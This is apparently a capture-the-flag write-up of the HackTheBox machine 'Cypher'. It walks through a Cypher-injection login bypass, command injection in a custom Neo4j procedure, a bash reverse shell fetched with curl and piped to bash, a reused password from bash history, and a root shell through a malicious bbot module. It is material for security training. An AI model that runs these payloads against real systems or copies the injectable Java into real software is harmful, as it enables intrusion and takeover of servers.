Cypher

Cypher starts with a website advertising a graph database. I’ll use cypher injection to bypass the login and get into the site. I’ll find a JAR file for a Neo4J extension and reverse engineer it to find command injection in a custom cypher method. I’ll abuse that to get a shell on the box, and pivot to the next user with a password in their bash history file. This user can run bbot as root, which I’ll exploit two ways to both get the flag and get a shell. In Beyond Root, I’ll show some steps that can be skipped with additional enumeration, and look at the interesting webserver configuration.

Box Info

Name Cypher Cypher
Play on HackTheBox
Release Date 01 Mar 2025
Retire Date 26 Jul 2025
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Cypher
Radar Graph Radar chart for Cypher
First Blood User 00:13:11l1nvx
First Blood Root 00:16:48jkr
Creator Techromancer

Recon

nmap

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 11:59 UTC
Nmap scan report for 10.10.11.57
Host is up (0.087s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.92 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 11:59 UTC
Nmap scan report for 10.10.11.57
Host is up (0.086s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.93 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 24.04 noble.

The webserver returns a redirect to http://cypher.htb. Given the use of virtual-host-based routing, I’ll use ffuf to brute force for any subdomains of cypher.htb that respond differently, but not find any. I’ll add this to my hosts file:

10.10.11.57 cypher.htb

Website - TCP 80

Site

The site is for something calling itself Graph ASM:

image-20250302070402183

The about page claims it uses a proprietary engine for attack surface management (in a lot of buzz words).

The “Try our free demo” and “Login” links both go to /login:

image-20250302070935203

Trying admin/admin shows:

image-20250302070958017

Tech Stack

The HTTP headers don’t show anything besides nginx:

HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 02 Mar 2025 12:04:35 GMT
Content-Type: text/html
Last-Modified: Mon, 17 Feb 2025 11:49:07 GMT
Connection: keep-alive
ETag: W/"67b32233-11d2"
Content-Length: 4562

The 404 page is also the default nginx page:

image-20250302074820046

Wappalyzer doesn’t have anything to add either:

image-20250302074847394

Directory Brute Force

I’ll run feroxbuster against the site, and include -x php since I know the site is PHP:

oxdf@hacky$ feroxbuster -u http://cypher.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://cypher.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      126l      274w     3671c http://cypher.htb/login
200      GET        3l      113w     8123c http://cypher.htb/bootstrap-notify.min.js
200      GET       63l      139w     1548c http://cypher.htb/utils.js
200      GET      179l      477w     4986c http://cypher.htb/about
307      GET        0l        0w        0c http://cypher.htb/demo => http://cypher.htb/login
307      GET        0l        0w        0c http://cypher.htb/api => http://cypher.htb/api/docs
307      GET        0l        0w        0c http://cypher.htb/api/ => http://cypher.htb/api/api
405      GET        1l        3w       31c http://cypher.htb/api/auth
200      GET        2l     1293w    89664c http://cypher.htb/jquery-3.6.1.min.js
200      GET        7l     1223w    80496c http://cypher.htb/bootstrap.bundle.min.js
200      GET      162l      360w     4562c http://cypher.htb/index
200      GET       12l     2173w   195855c http://cypher.htb/bootstrap.min.css
200      GET     7333l    24018w   208204c http://cypher.htb/vivagraph.min.js
200      GET      876l     4886w   373109c http://cypher.htb/logo.png
200      GET      162l      360w     4562c http://cypher.htb/
301      GET        7l       12w      178c http://cypher.htb/testing => http://cypher.htb/testing/
200      GET       17l      139w     9977c http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
404      GET        1l        2w       22c http://cypher.htb/demos
200      GET     5632l    33572w  2776750c http://cypher.htb/us.png
404      GET        1l        2w       22c http://cypher.htb/demo2
404      GET        1l        2w       22c http://cypher.htb/demo1
404      GET        1l        2w       22c http://cypher.htb/api-doc
404      GET        1l        2w       22c http://cypher.htb/demo3
404      GET        1l        2w       22c http://cypher.htb/apis
404      GET        1l        2w       22c http://cypher.htb/demosite
404      GET        1l        2w       22c http://cypher.htb/api_test
404      GET        1l        2w       22c http://cypher.htb/api3
404      GET        1l        2w       22c http://cypher.htb/demo4
404      GET        1l        2w       22c http://cypher.htb/demotest
404      GET        1l        2w       22c http://cypher.htb/api2
404      GET        1l        2w       22c http://cypher.htb/api4
404      GET        1l        2w       22c http://cypher.htb/demo-business
404      GET        1l        2w       22c http://cypher.htb/demonstration
404      GET        1l        2w       22c http://cypher.htb/demo_files
404      GET        1l        2w       22c http://cypher.htb/demoshop
404      GET        1l        2w       22c http://cypher.htb/democracy
404      GET        1l        2w       22c http://cypher.htb/demo6
404      GET        1l        2w       22c http://cypher.htb/demonstrate
404      GET        1l        2w       22c http://cypher.htb/demosites
404      GET        1l        2w       22c http://cypher.htb/demosite2
404      GET        1l        2w       22c http://cypher.htb/demographics
404      GET        1l        2w       22c http://cypher.htb/demoadmin
404      GET        1l        2w       22c http://cypher.htb/demofiles
[####################] - 54s    30019/30019   0s      found:43      errors:0
[####################] - 53s    30000/30000   568/s   http://cypher.htb/
[####################] - 0s     30000/30000   63425/s http://cypher.htb/testing/ => Directory listing (add --scan-dir-listings to scan)

There’s a few things to note here:

  • There’s a /demo, but it redirects to /login, so likely requires auth.
  • /api/auth is returning 405 wrong method. This is where POST requests are sent for logging in, so this makes sense.
  • /api/docs is interesting, but it just returns {"detail":"Not Found"}. There’s more fuzzing I can do against the API, and I’ll show that as an unintended path in Beyond Root.
  • /testing is interesting.

/testing has directory listening enabled:

image-20250302075331396

I’ll download this .jar file.

custom-apoc-extension-1.0-SNAPSHOT.jar

Purpose

Neo4J is a Graph database product, and one that shares a lot of the buzz words present on the website. Amongst readers of this site it may be most well known as the backend for Bloodhound.

Awesome Procedures on Cypher (APOC) is a library of functions that extend Neo4j’s Cypher capabilities.

Based on the filename, it seems likely this Jar is a set of customs functions extending Neo4J to do some customer queries..

RE

JAR files are Java archive files holding a Java application. It’s actually just a Zip archive, and can be unzipped, but it’s easier to go directly to a tool like jadx-gui. Opening the file shows it has only a couple classes:

image-20250302080006571

HelloWorldProcedure is just what is it sounds like. Nothing interesting.

CustomFunctions has a function called getUrlStatusCode:

public class CustomFunctions {
    @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
    @Description("Returns the HTTP status code for the given URL as a string")
    public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
        if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
            url = "https://" + url;
        }
        String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
        System.out.println("Command: " + Arrays.toString(command));
        Process process = Runtime.getRuntime().exec(command);
        BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
        StringBuilder errorOutput = new StringBuilder();
        while (true) {
            String line = errorReader.readLine();
            if (line == null) {
                break;
            }
            errorOutput.append(line).append("\n");
        }
        String statusCode = inputReader.readLine();
        System.out.println("Status code: " + statusCode);
        boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
        if (!exited) {
            process.destroyForcibly();
            statusCode = "0";
            System.err.println("Process timed out after 10 seconds");
        } else {
            int exitCode = process.exitValue();
            if (exitCode != 0) {
                statusCode = "0";
                System.err.println("Process exited with code " + exitCode);
            }
        }
        if (errorOutput.length() > 0) {
            System.err.println("Error output:\n" + errorOutput.toString());
        }
        return Stream.of(new StringOutput(statusCode));
    }

    /* loaded from: custom-apoc-extension-1.0-SNAPSHOT.jar:com/cypher/neo4j/apoc/CustomFunctions$StringOutput.class */
    public static class StringOutput {
        public String statusCode;

        public StringOutput(String statusCode) {
            this.statusCode = statusCode;
        }
    }
}

It is very much command injectable here:

String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
System.out.println("Command: " + Arrays.toString(command));
Process process = Runtime.getRuntime().exec(command);

url is the input to the function, so if I can find where this is called, I can likely get RCE.

Shell as neo4j

Cypher Injection

Identify

I’ll try adding a single quote to the username, and the error coming back is long:

image-20250302071057968

In Burp I can see that trying to login sends a POST request to /api/auth, and the response here has the full error:

HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 02 Mar 2025 12:11:55 GMT
Content-Length: 3457
Connection: keep-alive

Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"
                                                            ^}

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/app/app.py", line 165, in login
    creds_valid = verify_creds(username, password)
  File "/app/app.py", line 151, in verify_creds
    raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}")
ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash: Traceback (most recent call last):
  File "/app/app.py", line 142, in verify_creds
    results = run_cypher(cypher)
  File "/app/app.py", line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
    self._auto_result._run(
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
    self._attach()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
    self._connection.fetch_message()
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
    func(*args, **kwargs)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
    res = self._process_message(tag, fields)
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin'' return h.value as hash"
  ^}

Takeaways here:

  • The crash is in a Python application.

  • There’s multiple references to the Neo4J graph database, including both of the exceptions raised, which are neo4j.exceptions.CypherSyntaxError.

  • The full query being run is also there:

    MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '{input}' return h.value as hash
    

Bypass Login

This query is getting all the USER nodes that have an outgoing SECRET relationship to a SHA1 node. Then it filters the USER nodes to only those where the name property matches the input name. Then it returns the hash value of the linked SHA1 node.

I can assume that that hash is compared to the hash of the input password to see if the login attempt should succeed. I’ll guess that the hash value is 40 hex characters, but it could also be binary or some other encoding. It just needs to be something to compare to the output of hashing my input, and hex characters certainly seems easiest from the developer’s point of view.

I want to have this query return the SHA1 hash of the password I give it, ignoring the DB. For example, “9948e7baab1783a947c469c4c61e9f4bcce559b0” is the SHA1 of “0xdf”. My first thought is to try something like:

' RETURN "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash; //

This would make the query:

MATCH (u:USER) -[:SECRET]-> (h:SHA1)
WHERE u.name = '' 
RETURN "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash;//' return h.value as hash

This doesn’t work. ChatGPT explains the reason:

image-20250302074114416

Originally I used a UNION payload to make this work:

' return h.value as hash UNION return "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash LIMIT 1;//

This makes:

MATCH (u:USER) -[:SECRET]-> (h:SHA1)
WHERE u.name = ''
return h.value as hash
UNION return "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash
LIMIT 1;//' return h.value as hash

Because the user won’t match, it’ll return my hash. Entering that into the username field with the password “0xdf” works:

image-20250302074422478

There’s a shorter way to do this with a simple OR true:

' OR true return "9948e7baab1783a947c469c4c61e9f4bcce559b0" AS hash;//

Further Cypher Injection

With this injection, I could go the route of doing blind boolean injections using the return of a successful login or not as a way to ask questions of the database. I could also try exfiling data using a technique like LOAD CSV like I showed in OnlyForYou, but it turns out there’s no interesting data in the database.

At this point, especially with the command injection already identified, I’ll turn focus to the authenticated site.

Command Injection

Site

The site has a bar at the top to specify a query. There are seven predefined queries to choose from:

image-20250302081114038

Selecting one of these populates the text input next to it. For example, selecting “Select All” fills it with:

image-20250302081145767

The queries are:

Name Query
Select All MATCH (n) RETURN n
DNS Names MATCH (n:DNS_NAME) RETURN n
IP Addresses MATCH (n:DNS_NAME) RETURN n
HTTP Statuses MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCode
TXT Records MATCH (n1)-[:TXT]->(n2) RETURN n1,n2
MX Records MATCH (n1)-[:MX]->(n2) RETURN n1,n2
NS Records MATCH (n1)-[:NS]->(n2) RETURN n1,n2

I’ll note in HTTP Statuses query it’s using the custom.getUrlStatusCode function!

If I run the HTTP Statuses query, it hangs for a while (due to timeouts trying to reach sites that can’t be routed to from the HTB machine) and then shows the status code for each node:

image-20250302081049426 expand

RCE POC

I could do the command injection into the existing query, but to make it a bit cleaner, I’ll use the CALL Neo4j directive to call the function, entering CALL custom.getUrlStatusCode("localhost; id") YIELD statusCode into the bar. The result has the output of id:

image-20250302082226730

Shell

I’ll play around with updating the query to contain a bash reverse shell, but couldn’t get the quoting to work out. Instead I’ll save that shell to a file on my host:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.6/443 0>&1

Now with my Python webserver in that directory (python -m http.server 80), I’ll inject the command to get it and pip it to bash:

CALL custom.getUrlStatusCode("cypher.htb; curl 10.10.14.6/shell | bash; ") YIELD statusCode Return statusCode

It hits my webserver:

10.10.11.57 - - [02/Mar/2025 18:19:13] "GET /shell HTTP/1.1" 200 -

And then connects a shell:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.57 49302
bash: cannot set terminal process group (1427): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$

I’ll upgrade the shell using the standard trick:

neo4j@cypher:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
neo4j@cypher:/$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            reset
reset: unknown terminal type unknown
Terminal type? screen
neo4j@cypher:/$

Shell as graphasm

Enumeration

There’s a bunch of enumeration that shows a rather unique web setup, but isn’t important to escalating to the next user or root, so I’ll cover it in Beyond Root.

Looking at users on the box, there’s one user with a home directory in /home:

neo4j@cypher:/home$ ls
graphasm

Interestingly, in addition to graphasm and root, the neo4j user has a shell configured in passwd:

neo4j@cypher:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash

Typically service accounts like www-data or neo4j don’t have shells configured. neo4j’s home directory is /var/lib/neo4j. That directory even has a .bash_history file, suggesting that someone has logged in as that use and run commands:

neo4j@cypher:~$ ls -la
total 52
drwxr-xr-x 11 neo4j adm   4096 Feb 17 16:39 .
drwxr-xr-x 50 root  root  4096 Feb 17 16:48 ..
-rw-r--r--  1 neo4j neo4j   63 Oct  8 18:07 .bash_history
drwxrwxr-x  3 neo4j adm   4096 Oct  8 18:07 .cache
drwxr-xr-x  2 neo4j adm   4096 Aug 16  2024 certificates
drwxr-xr-x  6 neo4j adm   4096 Oct  8 18:07 data
drwxr-xr-x  2 neo4j adm   4096 Aug 16  2024 import
drwxr-xr-x  2 neo4j adm   4096 Feb 17 16:24 labs
drwxr-xr-x  2 neo4j adm   4096 Aug 16  2024 licenses
-rw-r--r--  1 neo4j adm     52 Oct  2 15:55 packaging_info
drwxr-xr-x  2 neo4j adm   4096 Feb 17 16:24 plugins
drwxr-xr-x  2 neo4j adm   4096 Feb 17 16:24 products
drwxr-xr-x  2 neo4j adm   4096 Mar  2 11:24 run
lrwxrwxrwx  1 neo4j adm      9 Oct  8 18:07 .viminfo -> /dev/null

The .bash_history file has a single command setting up the initial password for Neo4j:

neo4j@cypher:~$ cat .bash_history 
neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK

su / SSH

That password is shared with the graphasm user. It works with su:

neo4j@cypher:~$ su - graphasm
Password: 
graphasm@cypher:~$ 

And over SSH from my host:

oxdf@hacky$ sshpass -p 'cU4btyib.20xtCMCXkBmerhK' ssh graphasm@cypher.htb
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
...[snip]...
graphasm@cypher:~$ 

Either way I can read user.txt:

graphasm@cypher:~$ cat user.txt
2a10a1d6************************

Shell as root

Enumeration

The graphasm user can run bbot as root with sudo:

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

bbot is the Bighuge BLS OSINT Tool, a multipurpose scanner for things like subdomains, web spirdering, email collecting, etc.

Exploit

There are a couple ways to exploit this to get root:

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] --->|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Shell as graphasm]-->B(<a href='#read-roottxt'>Partial\nFile Leak</a>);
    B-->C[Read root.txt];
    A-->D(<a href='#create-module'>Custom BBOT\nModule</a>);
    D-->E[Shell as root];

linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;

Read root.txt

Any time I get a program that I can run as root with a lot of options, I’ll look for any that take in lines from a file. For example:

graphasm@cypher:~$ bbot -h
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] [-b BLACKLIST [BLACKLIST ...]]
            [--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo]
            [-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]]
            [--allow-deadly] [-n SCAN_NAME] [-v] [-d] [-s] [--force] [-y] [--dry-run] [--current-preset]
            [--current-preset-full] [-o DIR] [-om MODULE [MODULE ...]] [--json] [--brief]
            [--event-types EVENT_TYPES [EVENT_TYPES ...]]
            [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] [--version]
            [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [--custom-yara-rules CUSTOM_YARA_RULES]

Bighuge BLS OSINT Tool

options:
  -h, --help            show this help message and exit

Target:
  -t TARGET [TARGET ...], --targets TARGET [TARGET ...]
                        Targets to seed the scan
  -w WHITELIST [WHITELIST ...], --whitelist WHITELIST [WHITELIST ...]
                        What's considered in-scope (by default it's the same as --targets)
  -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...]
                        Don't touch these things
  --strict-scope        Don't consider subdomains of target/whitelist to be in-scope

Presets:
  -p [PRESET ...], --preset [PRESET ...]
                        Enable BBOT preset(s)
  -c [CONFIG ...], --config [CONFIG ...]
                        Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234'
  -lp, --list-presets   List available presets.

Modules:
  -m MODULE [MODULE ...], --modules MODULE [MODULE ...]
                        Modules to enable. Choices: ip2location,postman,credshed,leakix,paramminer_cookies,sitedossier,affiliates,azure_realm,fullhunt,censys,builtwith,ipneighbor,github_workflows,dockerhub,code_repository,docker_pull,azure_tenant,rapiddns,dehashed,wappalyzer,digitorus,url_manipulation,hackertarget,bucket_firebase,baddns_zone,dnscommonsrv,unstructured,wayback,bucket_digitalocean,telerik,paramminer_getparams,wpscan,chaos,dotnetnuke,secretsdb,anubisdb,github_codesearch,paramminer_headers,columbus,securitytxt,gitlab,viewdns,github_org,skymem,smuggler,oauth,baddns_direct,otx,newsletters,securitytrails,bucket_amazon,generic_ssrf,shodan_dns,myssl,wafw00f,ipstack,crt,zoomeye,dnscaa,dastardly,dnsbrute,vhost,urlscan,filedownload,social,portscan,host_header,httpx,badsecrets,trufflehog,ntlm,trickest,emailformat,bucket_file_enum,hunt,gowitness,postman_download,bypass403,ajaxpro,sslcert,ffuf,ffuf_shortnames,robots,subdomaincenter,git,bucket_google,pgp,bevigil,asn,fingerprintx,certspotter,dnsdumpster,dnsbrute_mutations,nuclei,hunterio,internetdb,bucket_azure,virustotal,git_clone,iis_shortnames,binaryedge,baddns,c99,passivetotal
  -l, --list-modules    List available modules.
  -lmo, --list-module-options
                        Show all module config options
  -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...]
                        Exclude these modules.
  -f FLAG [FLAG ...], --flags FLAG [FLAG ...]
                        Enable modules by flag. Choices: passive,web-basic,web-screenshots,portscan,subdomain-enum,subdomain-hijack,report,email-enum,active,cloud-enum,code-enum,social-enum,iis-shortnames,safe,baddns,aggressive,web-paramminer,service-enum,affiliates,slow,deadly,web-thorough
  -lf, --list-flags     List available flags.
  -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...]
                        Only enable modules with these flags (e.g. -rf passive)
  -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...]
                        Disable modules with these flags. (e.g. -ef aggressive)
  --allow-deadly        Enable the use of highly aggressive modules

Scan:
  -n SCAN_NAME, --name SCAN_NAME
                        Name of scan (default: random)
  -v, --verbose         Be more verbose
  -d, --debug           Enable debugging
  -s, --silent          Be quiet
  --force               Run scan even in the case of condition violations or failed module setups
  -y, --yes             Skip scan confirmation prompt
  --dry-run             Abort before executing scan
  --current-preset      Show the current preset in YAML format
  --current-preset-full
                        Show the current preset in its full form, including defaults

Output:
  -o DIR, --output-dir DIR
                        Directory to output scan results
  -om MODULE [MODULE ...], --output-modules MODULE [MODULE ...]
                        Output module(s). Choices: discord,json,teams,http,txt,stdout,asset_inventory,python,csv,splunk,neo4j,subdomains,slack,websocket,web_report,emails
  --json, -j            Output scan data in JSON format
  --brief, -br          Output only the data itself
  --event-types EVENT_TYPES [EVENT_TYPES ...]
                        Choose which event types to display

Module dependencies:
  Control how modules install their dependencies

  --no-deps             Don't install module dependencies
  --force-deps          Force install all module dependencies
  --retry-deps          Try again to install failed module dependencies
  --ignore-failed-deps  Run modules even if they have failed dependencies
  --install-all-deps    Install dependencies for all modules

Misc:
  --version             show BBOT version and exit
  -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...]
                        List of custom headers as key value pairs (header=value).
  --custom-yara-rules CUSTOM_YARA_RULES, -cy CUSTOM_YARA_RULES
                        Add custom yara rules to excavate

EXAMPLES

    Subdomains:
        bbot -t evilcorp.com -p subdomain-enum

    Subdomains (passive only):
        bbot -t evilcorp.com -p subdomain-enum -rf passive

    Subdomains + port scan + web screenshots:
        bbot -t evilcorp.com -p subdomain-enum -m portscan gowitness -n my_scan -o .

    Subdomains + basic web scan:
        bbot -t evilcorp.com -p subdomain-enum web-basic

    Web spider:
        bbot -t www.evilcorp.com -p spider -c web.spider_distance=2 web.spider_depth=2

    Everything everywhere all at once:
        bbot -t evilcorp.com -p kitchen-sink

    List modules:
        bbot -l

    List presets:
        bbot -lp

    List flags:
        bbot -lf

Some playing around with various options finds -w, which takes a whitelist of targets, as well as -d for debug more. Running that outputs:

graphasm@cypher:~$ sudo bbot -w /root/root.txt -d
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Reading whitelist from file: /root/root.txt
...[snip]...
[DBUG] Generated Regex [(([a-z0-9-]+\.)+13b2e3c9************************)] for domain 13b2e3c9************************
...[snip]...

There are probably other options that will do the same thing. This technique has it’s limits. It really struggles to read most files.

Create Module

This page in the documentation describes how to create a BBOT module. If I put a .yml file that defines the modules to run and where they live:

modules:
  - ExploitModule

module_dirs:
  - /dev/shm/

I’ll write that in /dev/shm, and then run bbot with -p pass this file:

graphasm@cypher:/dev/shm$ sudo bbot -p ./0xdf.yml 
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[WARN] Could not find scan module "ExploitModule". Did you mean "ip2location"?

It tries to find the module. It will load ExploitModule.py from /dev/shm based on that config, so I’ll write one:

graphasm@cypher:/dev/shm$ cat ExploitModule.py 
import os

os.system("id")

I could go ahead and make a full module, but this is enough to get execution:

graphasm@cypher:/dev/shm$ sudo bbot -p ./0xdf.yml 
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
uid=0(root) gid=0(root) groups=0(root)
[WARN] Failed to load unknown module "ExploitModule"
[ERRR] Failed to load 1 scan modules: ExploitModule (--force to run module anyway)

It wants a class named ExploitModule (that extends the BaseModule class), but before it gets there to fail, it has run id.

If I replace the id command with bash, I get a shell:

graphasm@cypher:/dev/shm$ sudo bbot -p ./0xdf.yml 
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ <|  __ <| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
root@cypher:/dev/shm#

And can read the flag:

root@cypher:~# cat root.txt
13b2e3c9************************

Beyond Root

Unintended Path

There’s an unintended path in Cypher that allows for skipping the Cypher injection to bypass the login entirely.

flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] --->|intended| stop1[ ]
      style start1 height:0px;
